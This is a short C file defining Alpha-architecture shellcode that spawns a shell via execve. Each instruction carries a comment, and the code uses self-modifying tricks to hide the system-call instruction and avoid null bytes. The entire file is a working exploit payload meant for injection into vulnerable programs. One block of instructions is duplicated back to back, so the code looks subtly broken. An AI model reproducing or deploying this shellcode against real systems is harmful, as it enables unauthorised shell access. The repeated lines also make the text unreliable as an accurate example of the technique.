alpha-execve1.c

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#alpha-execve1.c
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char shellcode[]=
"\x30\x15\xd9\x43" /* subq $30,200,$16 */
/* $16 = $30 - 200
/* $16 must have the shellcode address. However, before */
/* the bsr instruction, $16 can't have the address. */
/* This instruction just store the meaningless address. */
/* The all instruction before bsr are meaningless. */

"\x11\x74\xf0\x47" /* bis $31,0x83,$17 */
/* $17 = 0 or 0x83 */
/* $17 = 0x83 */
"\x12\x94\x07\x42" /* addq $16,60,$18 */
"\xfc\xff\x32\xb2" /* stl $17,-4($18) */
/* $17("\x83\x00\x00\x00") is stored in $16 + 60 - 4 */
/* address. */
/* ( "\xff\xff\xff\xff" -> "\x83\x00\x00\x00" ) */

"\xff\x47\x3f\x26" /* ldah $17,0x47ff($31) */
"\x1f\x04\x31\x22" /* lda $17,0x041f($17) */
/* $17 = "\x1f\x04\xff\x47" */
/* "\x1f\x04\xff\x47" is nop instruction. */

"\xfc\xff\x30\xb2" /* stl $17,-4($16) */
/* change "bsr $16,-28" instruction" into nop */
/* instruction to pass through the bsr instruction. */
/* ( "\xf9\xff\x1f\xd2" -> "\x1f\x04\xff\x47" ) */

"\xf9\xff\x1f\xd2" /* bsr $16,-28 */
/* Jump to "bis $31,0x83,$17" and store the current */
/* address in the $16. */
/* After jump, this insturction will be changed into */
/* nop instruction. */

"\x30\x15\xd9\x43" /* subq $30,200,$16 */
"\x31\x15\xd8\x43" /* subq $30,192,$17 */
"\x12\x04\xff\x47" /* clr $18 */
"\x40\xff\x1e\xb6" /* stq $16,-192($30) */
"\x48\xff\xfe\xb7" /* stq $31,-184($30) */
"\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */
"\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */
"\x12\x04\xff\x47" /* clr $18 */
"\x40\xff\x1e\xb6" /* stq $16,-192($30) */
"\x48\xff\xfe\xb7" /* stq $31,-184($30) */
"\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */
"\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */
"\x13\x05\xf3\x47" /* ornot $31,$19,$19 */
"\x3c\xff\x7e\xb2" /* stl $19,-196($30) */
"\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */
"\x2f\x62\x73\x22" /* lda $19,0x622f($19) */
"\x38\xff\x7e\xb2" /* stl $19,-200($30) */
"\x13\x94\xe7\x43" /* addq $31,60,$19 */
"\x20\x35\x60\x42" /* subq $19,1,$0 */

"\xff\xff\xff\xff"; /* callsys ( disguised ) */
/* This will be changed to "\x83\x00\x00\x00" */